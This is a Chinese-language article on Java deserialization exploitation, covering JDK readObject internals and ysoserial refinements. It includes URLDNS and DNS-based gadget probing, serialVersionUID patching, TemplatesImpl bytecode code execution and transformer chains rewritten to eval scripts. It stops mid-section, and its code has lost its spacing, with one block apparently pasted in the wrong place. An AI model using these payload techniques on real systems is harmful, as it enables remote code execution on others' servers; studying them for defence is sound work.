引言
2015年,网络安全史册被 Foxglove Security 的研究者刻下重要坐标——Apache Commons Collections反序列化漏洞(CVE-2015-4852)公开了Java生态中潜藏十载的致命攻击范式。研究团队开创性地构建 InvokerTransformer 与 TransformedMap 的 Gadget 链,通过反序列化操作实现跨协议 RCE ,将对象序列化这一基础通信机制转化为系统性安全威胁的放大器。这场“二进制风暴”不仅撕开了 Java 企业级应用的防护壁垒,更重塑了整个生态对序列化安全性的认知维度。
以此为分水岭,Java 安全生态遭遇连锁式冲击波。WebLogic(CVE-2016-0638)、WebSphere(CVE-2020-4450 ) 等中间件的反序列化漏洞相继曝光,暴露出企业基础设施的"协议信任危机"。伴随 ysoserial 、marshalsec 等武器化工具的迭代升级,攻击向量突破Java原生序列化边界,向JSON/XML等数据交换格式(Fastjson CVE-2017-18349、XStream CVE-2021-39144)发起降维打击。而内存马等无文件攻击技术的衍生,则标志着反序列化漏洞利用正式进入对抗检测的隐蔽作战阶段。
这场持续十年的攻防博弈,本质上是安全范式与技术哲学的多重较量:防御方从初期的黑名单修补(SerialKiller)与流量数据包检测进化至JEP 290机制驱动的全局序列化过滤器以及使用RASP技术进行多层防御,攻击方则不断挖掘新型Gadget链突破防御边界;安全社区推动着从 Commons Collections 组件加固到 JDK 层防御体系的构建,而攻击者持续探索着 Fastjson 、Hessian 等其他序列化实现的逻辑缺陷。每一次攻防技术的代际跃迁,都在重新定义着 Java 反序列化安全的攻防博弈图谱。
反序列化攻击分析
在反序列化方式中主要分为 Java 原生序列化和第三方库提供的序列化,以 JSON、Hessain、AMF为代表。其次在各种应用层协议中也会使用到反序列化的方式传递数据,这样也引入了相关的攻击面。
Java 原生反序列化
基础介绍
Java 原生反序列化的过程主要通过 ObjectInputStream 类中的 readObject() 方法实现。当程序调用 readObject()时,它会从输入流中读取字节数据,并将其转化为对应的 Java 对象。在此过程中,readObject() 会首先验证对象的类是否存在,并逐一恢复对象的字段数据。如果对象类实现了自定义的反序列化方法,即 readObject() 方法,那么此方法会被调用来处理额外的反序列化逻辑。对于实现了 Serializable 接口的类,readObject() 方法是自动调用的,通常无需开发者干预。另外的 Externalizable 接口会调用 readExternal 方法进行反序列化操作。
正是因为反序列化过程中的这些方法会自动或手动调用类中的构造方法和其他方法,因此如果反序列化过程中没有足够的安全性措施和输入验证(黑白名单等),攻击者就可以通过精心构造的恶意字节流来利用这些漏洞。目前已经公开了多个常用包的利用链。
技术剖析
java.io.ObjectInputStream#readObject
publicfinalObjectreadObject()throwsIOException, ClassNotFoundException{if(enableOverride) {returnreadObjectOverride();}// if nested read, passHandle contains handle of enclosing objectint outerHandle = passHandle;try {Object obj = readObject0(false);handles.markDependency(outerHandle, passHandle);ClassNotFoundException ex = handles.lookupException(passHandle);if (ex != null) {throw ex;}if (depth == 0) {vlist.doCallbacks();}return obj;} finally {passHandle = outerHandle;if (closed && depth == 0) {clear();}}}
在readObject0方法中,如果遇到TC_RESET会调用handleReset方法处理,
privateObjectreadObject0(Class<?>type,booleanunshared) throwsIOException{booleanoldMode = bin.getBlockDataMode();if(oldMode) {int remain = bin.currentBlockRemaining();if(remain >0) {thrownewOptionalDataException(remain);}elseif(defaultDataEnd) {/ Fix for 4360508: stream is currently at the end of a field value block written via default serialization; since there is no terminating TC_ENDBLOCKDATA tag, simulate end-of-custom-data behavior explicitly./thrownewOptionalDataException(true);}bin.setBlockDataMode(false);}byte tc;while((tc = bin.peekByte()) ==TC_RESET) {bin.readByte();handleReset();}..........caseTC_OBJECT:if(type==String.class) {thrownewClassCastException("Cannot cast an object to java.lang.String");}returncheckResolve(readOrdinaryObject(unshared));
handleReset方法反序列化的递归深度为0时,TC_RESET 会触发清除内部数据结构。这意味着反序列化器会清空已经解析的所有对象和数据,回到一个初始状态。
privatevoidhandleReset() throws StreamCorruptedException{if(depth >0) {thrownewStreamCorruptedException("unexpected reset; recursion depth: "+ depth);}clear();}
当遇到的是tc_object时,会调用readOrdinaryObject方法,
privateObjectreadOrdinaryObject(booleanunshared)throwsIOException{if(bin.readByte() !=TC_OBJECT) {thrownewInternalError();}ObjectStreamClassdesc =readClassDesc(false);desc.checkDeserialize();Class<?> cl = desc.forClass();if(cl ==String.class|| cl ==Class.class|| cl ==ObjectStreamClass.class) {thrownewInvalidClassException("invalid class descriptor");}Objectobj;try{obj = desc.isInstantiable() ? desc.newInstance() :null;}catch(Exceptionex) {throw(IOException)newInvalidClassException(desc.forClass().getName(),"unable to create instance").initCause(ex);}passHandle = handles.assign(unshared ? unsharedMarker : obj);ClassNotFoundExceptionresolveEx = desc.getResolveException();if(resolveEx !=null) {handles.markException(passHandle, resolveEx);}if(desc.isExternalizable()) {readExternalData((Externalizable) obj, desc);}else{readSerialData(obj, desc);}handles.finish(passHandle);if(obj !=null&&handles.lookupException(passHandle) ==null&&desc.hasReadResolveMethod()){Objectrep = desc.invokeReadResolve(obj);if(unshared && rep.getClass().isArray()) {rep =cloneArray(rep);}if(rep != obj) {// Filter the replacement objectif (rep != null) {if (rep.getClass().isArray()) {filterCheck(rep.getClass(), Array.getLength(rep));} else {filterCheck(rep.getClass(), -1);}}handles.setObject(passHandle, obj = rep);}}return obj;}
readOrdinaryObject会调用readClassDesc方法,该方法的主要作用是从输入流中读取当前对象的类描述符。类描述符包含有关对象的完整类信息,包括类名、字段类型以及其他元数据。
privateObjectStreamClassreadNonProxyDesc(booleanunshared)throwsIOException{if(bin.readByte() != TC_CLASSDESC) {thrownewInternalError();}ObjectStreamClassdesc=newObjectStreamClass();intdescHandle=handles.assign(unshared ? unsharedMarker : desc);passHandle = NULL_HANDLE;ObjectStreamClassreadDesc=null;try{readDesc = readClassDescriptor();}catch(ClassNotFoundException ex) {throw(IOException)newInvalidClassException("failed to read class descriptor").initCause(ex);}Class<?> cl =null;ClassNotFoundExceptionresolveEx=null;bin.setBlockDataMode(true);finalbooleanchecksRequired=isCustomSubclass();try{if((cl = resolveClass(readDesc)) ==null) {resolveEx =newClassNotFoundException("null class");}elseif(checksRequired) {ReflectUtil.checkPackageAccess(cl);}}catch(ClassNotFoundException ex) {resolveEx = ex;}filterCheck(cl, -1);skipCustomData();try{totalObjectRefs++;depth++;desc.initNonProxy(readDesc, cl, resolveEx, readClassDesc(false));}finally{depth--;}
readNonProxyDesc方法中会调用resolveClass方法,目前很多黑白名单实现都是靠重写resolveClass方法,检测类名,filterCheck方法会做JEP290这类检测(如果配置了serialFilter)。
privatevoidfilterCheck(Class<?> clazz,intarrayLength)throwsInvalidClassException {if(serialFilter !=null) {RuntimeExceptionex=null;ObjectInputFilter.Status status;// Info about the stream is not available if overridden by subclass, return 0long bytesRead = (bin == null) ? 0 : bin.getBytesRead();try {status = serialFilter.checkInput(new FilterValues(clazz, arrayLength,totalObjectRefs, depth, bytesRead));} catch (RuntimeException e) {// Preventive interception of an exception to logstatus = ObjectInputFilter.Status.REJECTED;ex = e;}if (Logging.filterLogger != null) {// Debug logging of filter checks that fail; Tracing for those that succeedLogging.filterLogger.log(status == null || status == ObjectInputFilter.Status.REJECTED? Logger.Level.DEBUG: Logger.Level.TRACE,"ObjectInputFilter {0}: {1}, array length: {2}, nRefs: {3}, depth: {4}, bytes: {5}, ex: {6}",status, clazz, arrayLength, totalObjectRefs, depth, bytesRead,Objects.toString(ex, "n/a"));}if (status == null ||status == ObjectInputFilter.Status.REJECTED) {InvalidClassException ice = new InvalidClassException("filter status: " + status);ice.initCause(ex);throw ice;}}}
voidinitNonProxy(ObjectStreamClass model,Class<?> cl,ClassNotFoundException resolveEx,ObjectStreamClass superDesc)throwsInvalidClassException{longsuid=Long.valueOf(model.getSerialVersionUID());ObjectStreamClassosc=null;if(cl !=null) {osc = lookup(cl,true);if(osc.isProxy) {thrownewInvalidClassException("cannot bind non-proxy descriptor to a proxy class");}if(model.isEnum != osc.isEnum) {thrownewInvalidClassException(model.isEnum ?"cannot bind enum descriptor to a non-enum class":"cannot bind non-enum descriptor to an enum class");}if(model.serializable == osc.serializable &&!cl.isArray() &&suid != osc.getSerialVersionUID()) {thrownewInvalidClassException(osc.name,"local class incompatible: "+"stream classdesc serialVersionUID = "+ suid +", local class serialVersionUID = "+osc.getSerialVersionUID());}if(!classNamesEqual(model.name, osc.name)) {thrownewInvalidClassException(osc.name,"local class name incompatible with stream class "+"name \""+ model.name +"\"");}
然后在initNonProxy方法中,会检测反序列化类的suid以及是否实现了serializable接口。
获取完类的描述符后,又再次回到readOrdinaryObject方法中,如果是externalizable就会调用readExternalData,如果是serializable就调用readSerialData恢复数据。当反序列化器通过 readClassDesc已经读取了类描述符,接下来会调用 readSerialData() 来读取该对象的实际数据(字段值)。根据类描述符中的信息,逐个字段地将字节流中的数据反序列化成相应的字段类型,并填充到对象的各个字段中。
if(desc.isExternalizable()) {readExternalData((Externalizable) obj, desc);}else{readSerialData(obj, desc);}
readSerialData方法中,会调用反序列化类的readObject方法,slotDesc.invokeReadObject
privatevoidreadSerialData(Object obj, ObjectStreamClass desc)throwsIOException{ObjectStreamClass.ClassDataSlot[] slots = desc.getClassDataLayout();for(inti=0; i < slots.length; i++) {ObjectStreamClassslotDesc=slots[i].desc;if(slots[i].hasData) {if(obj ==null|| handles.lookupException(passHandle) !=null) {defaultReadFields(null, slotDesc);// skip field values} else if (slotDesc.hasReadObjectMethod()) {ThreadDeath t = null;boolean reset = false;SerialCallbackContext oldContext = curContext;if (oldContext != null)oldContext.check();try {curContext = new SerialCallbackContext(obj, slotDesc);bin.setBlockDataMode(true);slotDesc.invokeReadObject(obj, this);
利用方式发展
ysoserial工具于2015年发布,它是一个用于测试和演示Java反序列化漏洞的工具,它主要被安全研究人员用来生成恶意的序列化数据流,以便在易受攻击的Java应用程序中利用反序列化漏洞。ysoserial通过构造特定的恶意Java对象序列化流,使得攻击者可以在目标系统上触发任意代码执行。
在攻防对抗的持续演进中,安全研究人员发现ysoserial在实战化漏洞利用场景存在多重瓶颈:包不同版本导致SUID不一致,其原生Payload构造模式也仅限于基础命令执行功能。不过后续大家都一一解决了这些问题,并且做了更加符合实战化的改造。
Gadget 探测
在最开始黑盒反序列化漏洞的利用中,由于不知道目标classpath下有哪些jar包,所以通常需要盲打所有的Gadget。但是盲打会存在一个问题,当利用失败时无法确认是不存在利用链还是其他问题导致的失败。为了解决这个盲点问题。目前最常用的一种探测利用链的方案是通过DNSLOG的方式探测目标是否存在漏洞JAR包,在ysoserial中内置了一个URLDNS的利用链,该利用链是JDK内置类通用性高,最后的效果是能产生DNS请求,通常会使用URLDNS来判断目标是否存在JAVA反序列化。
publicclassURLDNSimplementsObjectPayload {publicObjectgetObject(finalStringurl) throwsException{//Avoid DNS resolution during payload creation//Since the field java.net.URL.handler is transient, it will not be part of the serialized payload.URLStreamHandler handler = new SilentURLStreamHandler();HashMap ht = new HashMap(); // HashMap that will contain the URLURL u = new URL(null, url, handler); // URL to use as the Keyht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.return ht;}static class SilentURLStreamHandler extends URLStreamHandler {protected URLConnection openConnection(URL u) throws IOException {return null;}protected synchronized InetAddress getHostAddress(URL u) {return null;}}}
URLDNS的大概原理为,
-
Gadget Chain:
-
HashMap.readObject()
-
HashMap.putVal()
-
HashMap.hash()
-
URL.hashCode()
由于 hashmap 的哈希表特性,为了快速定位以及解决冲突的问题,会调用 key 的 hashcode 方法。
在 java.net.URL#hashCode 方法中,
publicsynchronizedinthashCode(){if(hashCode !=-1)returnhashCode;hashCode = handler.hashCode(this);returnhashCode;}
为了触发handler的hashCode方法,所以通过反射设置了url对象的hashCode为-1,
java.net.URLStreamHandler#hashCode 中,通过getHostAddress产生了DNS请求。
protectedinthashCode(URL u){inth =0;// Generate the protocol part.String protocol = u.getProtocol();if (protocol != null)h += protocol.hashCode();// Generate the host part.InetAddress addr = getHostAddress(u);if (addr != null) {h += addr.hashCode();} else {String host = u.getHost();if (host != null)h += host.toLowerCase().hashCode();}// Generate the file part.String file = u.getFile();if (file != null)h += file.hashCode();// Generate the port part.if (u.getPort() == -1)h += getDefaultPort();elseh += u.getPort();// Generate the ref part.String ref = u.getRef();if (ref != null)h += ref.hashCode();return h;}
基于URLDNS进一步延伸出了,通过DNS判断目标是否存在利用类。
java.util.HashMap#readObject
for(inti=0; i < mappings; i++) {@SuppressWarnings("unchecked")Kkey=(K) s.readObject();@SuppressWarnings("unchecked")Vvalue=(V) s.readObject();putVal(hash(key), key, value,false,false);}
在hashmap的readObject方法中,会进行两次反序列化分别获取到key和value。在hashmap putval时,只会对key调用hashcode方法,所以value随意。
这时候通过将value设置为利用类,如果目标不存在则会反序列化异常,就不会走到hash(key)也就不会触发DNS请求了。
public static Class makeClass(String clazzName) throws Exception{ClassPool classPool = ClassPool.getDefault();CtClass ctClass = classPool.makeClass(clazzName);// ctClass.addInterface(classPool.get(Serializable.class.getName()));// CtField suidField = CtField.make(String.format("private static final long serialVersionUID = %dL;",1), ctClass);// ctClass.addField(suidField);ctClass.defrost();Class clazz = ctClass.toClass();returnclazz;}public static HashMap makeHashMap(String url, String className) throws Exception{URLStreamHandler handler = new SilentURLStreamHandler();HashMap hashmap = new HashMap();URL u = new URL(null, url, handler);Class gadget = makeClass(className);hashmap.put(u, gadget);Reflections.setFieldValue(u,"hashCode", -1);returnhashmap;}public Object getObject(String url) throws Exception {String dnslog = url;Listlist= new LinkedList();HashMap cb19 = makeHashMap("http://cb19."+ url,"org.apache.commons.beanutils.IntrospectionContext");list.add(cb19);HashMap cc321 = makeHashMap("http://cc321."+ url,"org.apache.commons.collections.ArrayStack");list.add(cc321);returnlist;}
然后通过 linkedlist 加上所有的 hashmap 就可以一次性判断所有的利用链,makeClass 中也可以添加serialVersionUID属性判断目标的 jar 包版本。
部分场景下,目标服务器也可能未配置 DNS 解析,在时候也可以通过嵌套多层 HashSet,形成类似 DOS 造成目标返回变慢来判断是否存在利用类。
serialVersionUID 不一致
在 Java 的序列化机制中,serialVersionUID 是一个非常重要的标识符,主要用于版本控制和兼容性管理。serialVersionUID 是 Java 序列化机制中用于标识类版本的一个唯一标识符。当一个类实现了 Serializable 接口时,JVM 会通过 serialVersionUID 来验证序列化和反序列化的类是否是同一个版本。如果在反序列化时,目标类的 serialVersionUID 与序列化时使用的 serialVersionUID 不一致,JVM 会抛出 InvalidClassException,从而防止因版本不匹配而导致的数据不一致问题。
if(model.serializable== osc.serializable&&!cl.isArray() &&suid != osc.getSerialVersionUID()) {thrownewInvalidClassException(osc.name,"local class incompatible: "+"stream classdesc serialVersionUID = "+ suid +", local class serialVersionUID = "+osc.getSerialVersionUID());}
Java在反序列时, 会把传来的字节流中的serialVersionUID与本地对应类的serialVersionUID进行校验, 在两个SUID不同的情况下, 会抛出版本号不同的异常, 不再进行反序列。
java.io.ObjectStreamClass中,会先尝试获取类中的serialVersionUID,
privatestaticLonggetDeclaredSUID(Class<?> cl){try{Fieldf=cl.getDeclaredField("serialVersionUID");intmask=Modifier.STATIC | Modifier.FINAL;if((f.getModifiers() & mask) == mask) {f.setAccessible(true);returnLong.valueOf(f.getLong(null));}}catch(Exception ex) {}returnnull;}
如果开发者没有手动定义serialVersionUID属性,则会调用computeDefaultSUID方法自动计算出suid,
publiclonggetSerialVersionUID(){// REMIND: synchronize instead of relying on volatile?if (suid == null) {suid = AccessController.doPrivileged(new PrivilegedAction() {public Long run() {return computeDefaultSUID(cl);}});}return suid.longValue();}
computeDefaultSUID 会基于类的名字、字段信息、类的修饰符、类中的方法以及继承链等多种因素计算出一个 64 位的长整型值,作为该类的默认序列化 UID。所以如果开发者没有手动定义SUID在版本更替后,由于方法、属性的修改就会导致SUID不一致。
privatestaticlongcomputeDefaultSUID(Class<?> cl){if(!Serializable.class.isAssignableFrom(cl) || Proxy.isProxyClass(cl)){return0L;}try{ByteArrayOutputStreambout=newByteArrayOutputStream();DataOutputStreamdout=newDataOutputStream(bout);dout.writeUTF(cl.getName());intclassMods=cl.getModifiers() &(Modifier.PUBLIC | Modifier.FINAL |Modifier.INTERFACE | Modifier.ABSTRACT);/ compensate for javac bug in which ABSTRACT bit was set for an interface only if the interface declared methods/Method[] methods = cl.getDeclaredMethods();if((classMods & Modifier.INTERFACE) !=0) {classMods = (methods.length >0) ?(classMods | Modifier.ABSTRACT) :(classMods & ~Modifier.ABSTRACT);}dout.writeInt(classMods);if(!cl.isArray()) {/ compensate for change in 1.2FCS in which Class.getInterfaces() was modified to return Cloneable and Serializable for array classes.*/Class<?>[] interfaces = cl.getInterfaces();String[] ifaceNames =newString[interfaces.length];for(inti=0; i < interfaces.length; i++) {ifaceNames[i] = interfaces[i].getName();}Arrays.sort(ifaceNames);for(inti=0; i < ifaceNames.length; i++) {dout.writeUTF(ifaceNames[i]);}}Field[] fields = cl.getDeclaredFields();MemberSignature[] fieldSigs =newMemberSignature[fields.length];for(inti=0; i < fields.length; i++) {fieldSigs[i] =newMemberSignature(fields[i]);}Arrays.sort(fieldSigs,newComparator() {publicintcompare(MemberSignature ms1, MemberSignature ms2){returnms1.name.compareTo(ms2.name);}});for(inti=0; i < fieldSigs.length; i++) {MemberSignaturesig=fieldSigs[i];intmods=sig.member.getModifiers() &(Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |Modifier.STATIC | Modifier.FINAL | Modifier.VOLATILE |Modifier.TRANSIENT);if(((mods & Modifier.PRIVATE) ==0) ||((mods & (Modifier.STATIC | Modifier.TRANSIENT)) ==0)){dout.writeUTF(sig.name);dout.writeInt(mods);dout.writeUTF(sig.signature);}}if(hasStaticInitializer(cl)) {dout.writeUTF("");dout.writeInt(Modifier.STATIC);dout.writeUTF("()V");}Constructor<?>[] cons = cl.getDeclaredConstructors();MemberSignature[] consSigs =newMemberSignature[cons.length];for(inti=0; i < cons.length; i++) {consSigs[i] =newMemberSignature(cons[i]);}Arrays.sort(consSigs,newComparator() {publicintcompare(MemberSignature ms1, MemberSignature ms2){returnms1.signature.compareTo(ms2.signature);}});for(inti=0; i < consSigs.length; i++) {MemberSignaturesig=consSigs[i];intmods=sig.member.getModifiers() &(Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |Modifier.STATIC | Modifier.FINAL |Modifier.SYNCHRONIZED | Modifier.NATIVE |Modifier.ABSTRACT | Modifier.STRICT);if((mods & Modifier.PRIVATE) ==0) {dout.writeUTF("");dout.writeInt(mods);dout.writeUTF(sig.signature.replace('/','.'));}}MemberSignature[] methSigs =newMemberSignature[methods.length];for(inti=0; i < methods.length; i++) {methSigs[i] =newMemberSignature(methods[i]);}Arrays.sort(methSigs,newComparator() {publicintcompare(MemberSignature ms1, MemberSignature ms2){intcomp=ms1.name.compareTo(ms2.name);if(comp ==0) {comp = ms1.signature.compareTo(ms2.signature);}returncomp;}});for(inti=0; i < methSigs.length; i++) {MemberSignaturesig=methSigs[i];intmods=sig.member.getModifiers() &(Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |Modifier.STATIC | Modifier.FINAL |Modifier.SYNCHRONIZED | Modifier.NATIVE |Modifier.ABSTRACT | Modifier.STRICT);if((mods & Modifier.PRIVATE) ==0) {dout.writeUTF(sig.name);dout.writeInt(mods);dout.writeUTF(sig.signature.replace('/','.'));}}dout.flush();MessageDigestmd=MessageDigest.getInstance("SHA");byte[] hashBytes = md.digest(bout.toByteArray());longhash=0;for(inti=Math.min(hashBytes.length,8) -1; i >=0; i--) {hash = (hash <<8) | (hashBytes[i] &0xFF);}returnhash;}catch(IOException ex) {thrownewInternalError(ex);}catch(NoSuchAlgorithmException ex) {thrownewSecurityException(ex.getMessage());}}
在ysoserial的pom.xml中都内置了的jar包版本有可能会存在和目标版本不一致导致的反序列化异常。
commons-collectionscommons-collections3.1org.beanshellbsh2.0b5commons-beanutilscommons-beanutils1.9.2org.apache.commonscommons-collections44.0
当出现SUID不一致时导致的反序列化异常时,最简单的方法是直接切换jar包的版本,当然也可以尝试通过javassist添加与目标一致的SUID属性。
ClassPoolpool=ClassPool.getDefault();try{CtClasscls=pool.get("com.mchange.v2.c3p0.PoolBackedDataSource");CtFieldfield=CtField.make("private static final long serialVersionUID = 7387108436934414104;",cls);cls.addField(field);cls.writeFile();}catch(NotFoundException e) {e.printStackTrace();}catch(CannotCompileException e) {e.printStackTrace();}catch(IOException e) {e.printStackTrace();}
任意代码执行优化
ysoserial默认生成的Payload主要实现远程命令执行。在当前安全防御体系日趋完善的环境下,由于FAT JAR、目标机器不出网、HIDS、命令结果无法回显等原因导致命令执行越来越难用,通常需要通过针对不同的目标环境执行不同的代码实现对目标的控制。
反序列化能否代码执行和具体的利用链相关,在ysoserial中部分gadget使用了Gadgets.createTemplatesImpl方法生成templatesimpl对象。
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 是目前反序列化利用的常客,这是jdk中内置类。
该类中存在getOutputProperties方法,符合getter类型,所以最后能调用getter的利用链最后基本都会通过TemplatesImpl实现代码执行。
publicsynchronized PropertiesgetOutputProperties(){try{returnnewTransformer().getOutputProperties();}catch(TransformerConfigurationException e) {returnnull;}}
在newTransformer方法中,又调用了getTransletInstance方法,
publicsynchronizedTransformernewTransformer()throwsTransformerConfigurationException{TransformerImpl transformer;transformer =newTransformerImpl(getTransletInstance(), _outputProperties,_indentNumber, _tfactory);
privateTransletgetTransletInstance()throws TransformerConfigurationException {try{if(_name ==null)returnnull;if(_class ==null) defineTransletClasses();// The translet needs to keep a reference to all its auxiliary// class to prevent the GC from collecting themAbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
privatevoiddefineTransletClasses()throwsTransformerConfigurationException {if(_bytecodes ==null) {ErrorMsgerr=newErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);thrownewTransformerConfigurationException(err.toString());}TransletClassLoaderloader=(TransletClassLoader)AccessController.doPrivileged(newPrivilegedAction() {publicObjectrun(){returnnewTransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());}});try{finalintclassCount=_bytecodes.length;_class =newClass[classCount];if(classCount >1) {_auxClasses =newHashMap<>();}for(inti=0; i < classCount; i++) {_class[i] = loader.defineClass(_bytecodes[i]);finalClasssuperClass=_class[i].getSuperclass();// Check if this is the main classif (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}else {_auxClasses.put(_class[i].getName(), _class[i]);}}if (_transletIndex < 0) {ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);throw new TransformerConfigurationException(err.toString());}}catch (ClassFormatError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);throw new TransformerConfigurationException(err.toString());}catch (LinkageError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}}
getTransletInstance中对_bytecodes进行了defineClass,然后newInstance实例化,所以在反序列化时给_bytecodes设置class字节码,就能实现任意代码执行。
再回到ysoserial中,ysoserial.payloads.util.Gadgets#createTemplatesImpl,
privatevoiddefineTransletClasses()throwsTransformerConfigurationException {if(_bytecodes ==null) {ErrorMsgerr=newErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);thrownewTransformerConfigurationException(err.toString());}TransletClassLoaderloader=(TransletClassLoader)AccessController.doPrivileged(newPrivilegedAction() {publicObjectrun(){returnnewTransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());}});try{finalintclassCount=_bytecodes.length;_class =newClass[classCount];if(classCount >1) {_auxClasses =newHashMap<>();}for(inti=0; i < classCount; i++) {_class[i] = loader.defineClass(_bytecodes[i]);finalClasssuperClass=_class[i].getSuperclass();// Check if this is the main classif (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}else {_auxClasses.put(_class[i].getName(), _class[i]);}}if (_transletIndex < 0) {ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);throw new TransformerConfigurationException(err.toString());}}catch (ClassFormatError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);throw new TransformerConfigurationException(err.toString());}catch (LinkageError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}}
默认提供的createTemplatesImpl方法中,内置的模板就是Runtime.exec实现的命令执行,然后Javassist生成字节码,
通过反射设置到_bytecodes属性中。
通过修改cmd就能实现任意代码执行,或者直接读取class文件然后设置到_bytecodes中。
if(command.startsWith("classfile:")){String path = command.split(":")[1];FileInputStream in =newFileInputStream(newFile(path));classBytes=newbyte[in.available()];in.read(classBytes);in.close();System.out.println(command);System.err.println("Java File Mode:"+ Arrays.toString(classBytes));}
在后续实战中通过这样的方式能成功进行代码执行,但是在某些存在安全设备的场景中往往会对数据包大小进行限制,为了解决这个问题需要对序列化数据进行缩短。
移除ABSTRACT_TRANSLET
在createTemplatesImpl中,ysoserial给class设置了父类,com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
CtClass superC = pool.get(abstTranslet.getName());clazz.setSuperclass(superC);
这是因为在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses方法中,会判断生成类的父类是不是ABSTRACT_TRANSLET,那么这个是不是必须的呢?
finalintclassCount = _bytecodes.length;_class= new Class[classCount];if(classCount >1) {_auxClasses = new HashMap<>();}for(inti =0; i < classCount; i++) {_class[i] = loader.defineClass(_bytecodes[i]);final Class superClass = _class[i].getSuperclass();// Checkifthisisthe mainclassif(superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}else{_auxClasses.put(_class[i].getName(), _class[i]);}}if(_transletIndex <0) {ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);throw new TransformerConfigurationException(err.toString());}
_bytecodes是一个byte[]数组,循环生成类时,会判断defineClass生成的类的父类是否为AbstractTranslet,如果不是那么就会执行到_auxClasses.put(_class[i].getName(), _class[i]);
观察_auxClasses属性发现被transient修饰,无法通过反序列化控制值,如果直接调用_auxClasses.put会抛出空指针异常,导致代码执行中断。
privatetransientMap<String,Class<?>> _auxClasses =null;
再观察defineTransletClasses方法可以发现,当classCount > 1时,会对_auxClasses属性赋值HashMap,这时候put就不会再空指针异常了。
另外还存在一个_transletIndex < 0时,就会抛出异常中断的限制,_transletIndex默认为-1。 在for循环时,只有当生成类的父类为AbstractTranslet时,才会对_transletIndex属性赋值。
查看_transletIndex属性时发现该属性并没有被transient修饰,那么即使父类不是AbstractTranslet也可以通过反序列化控制该属性绕过限制。
privateint_transletIndex =-1;privatevoidreadObject(ObjectInputStreamis)throws IOException, ClassNotFoundException{_transletIndex = gf.get("_transletIndex",-1);
所以只要满足两个条件即可实现去除AbstractTranslet:
1、classCount也就是生成类的数量大于1
2、_transletIndex >= 0
在defineTransletClasses生成类后,后续会用到_transletIndex属性指定从_class属性数组中实例化哪个类,那么需要将_transletIndex属性指定为恶意类的索引。
if(_class ==null)defineTransletClasses();// The translet needs to keep a reference to all its auxiliary// class to prevent the GC from collecting themAbstractTranslet translet = (AbstractTranslet)_class[_transletIndex].getConstructor().newInstance();
最后修改createTemplatesImpl方法如下即可不再需要继承ABSTRACT_TRANSLET。
Reflections.setFieldValue(templates,"_bytecodes", new byte[][] {classBytes, ClassFiles.classAsBytes(Foo.class)});//Reflections.setFieldValue(templates,"_bytecodes", new byte[][] {classBytes});// required to make TemplatesImpl happyReflections.setFieldValue(templates,"_transletIndex",0);Reflections.setFieldValue(templates,"_name","Pwnr");Reflections.setFieldValue(templates,"_tfactory", transFactory.newInstance());returntemplates;
链式反射修改为代码执行
除了此类getter Gadgets.createTemplatesImpl利用链,另外还有CommonsCollections6这种链式反射的利用链。
finalTransformer[] transformers =newTransformer[] {newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[] {String.class,Class[].class},newObject[] {"getRuntime",newClass[0] }),newInvokerTransformer("invoke",newClass[] {Object.class,Object[].class},newObject[] {null,newObject[0] }),newInvokerTransformer("exec",newClass[] {String.class}, execArgs),newConstantTransformer(1) };
这种也能修改为代码执行,如下修改为ScriptEngineManager然后执行js(Nashron/Rhino)表达式,实现代码执行。
Transformer[] transformers =newTransformer[]{newConstantTransformer(ScriptEngineManager.class),newInvokerTransformer("newInstance",newClass[0],newObject[0]),newInvokerTransformer("getEngineByName",newClass[]{String.class},newObject[]{"JavaScript"}),newInvokerTransformer("eval",newClass[]{String.class}, execArgs),newConstantTransformer(1)};TransformertransformerChain=newChainedTransformer(transformers);
或者
Transformer[] transformers =newTransformer[]{newConstantTransformer(MethodHandles.class),newInvokerTransformer("getDeclaredMethod",newClass[]{String.class, Class[].class},newObject[]{"lookup",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class, Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("defineClass",newClass[]{byte[].class},newObject[]{data}),newInstantiateTransformer(newClass[0],newObject[0]),newConstantTransformer(1)};TransformertransformerChain=newChainedTransformer(newTransformer[]{newConstantTransformer(1)});
命令执行结果回显
Ysoserial的Gadgets.createTemplatesImpl虽然可以实现命令执行,但攻击者无法直接获取命令执行的结果。在修改ysoserial能执行任意代码后,在实现代码执行的基础上,大家进一步研究了反序列化攻击时如何回显命令执行的结果。
由于反序列化和JSP不一样,上下文中没有当前的request、response,所以最开始的反序列化命令执行回显思路是,通过反序列化代码执行获取到当前请求的request、response,然后将命令执行的结果通过response输出到页面中。
从此出现了各种寻找当前req、res的方式,最开始常用的方法有从mbean等其他地方中获取,
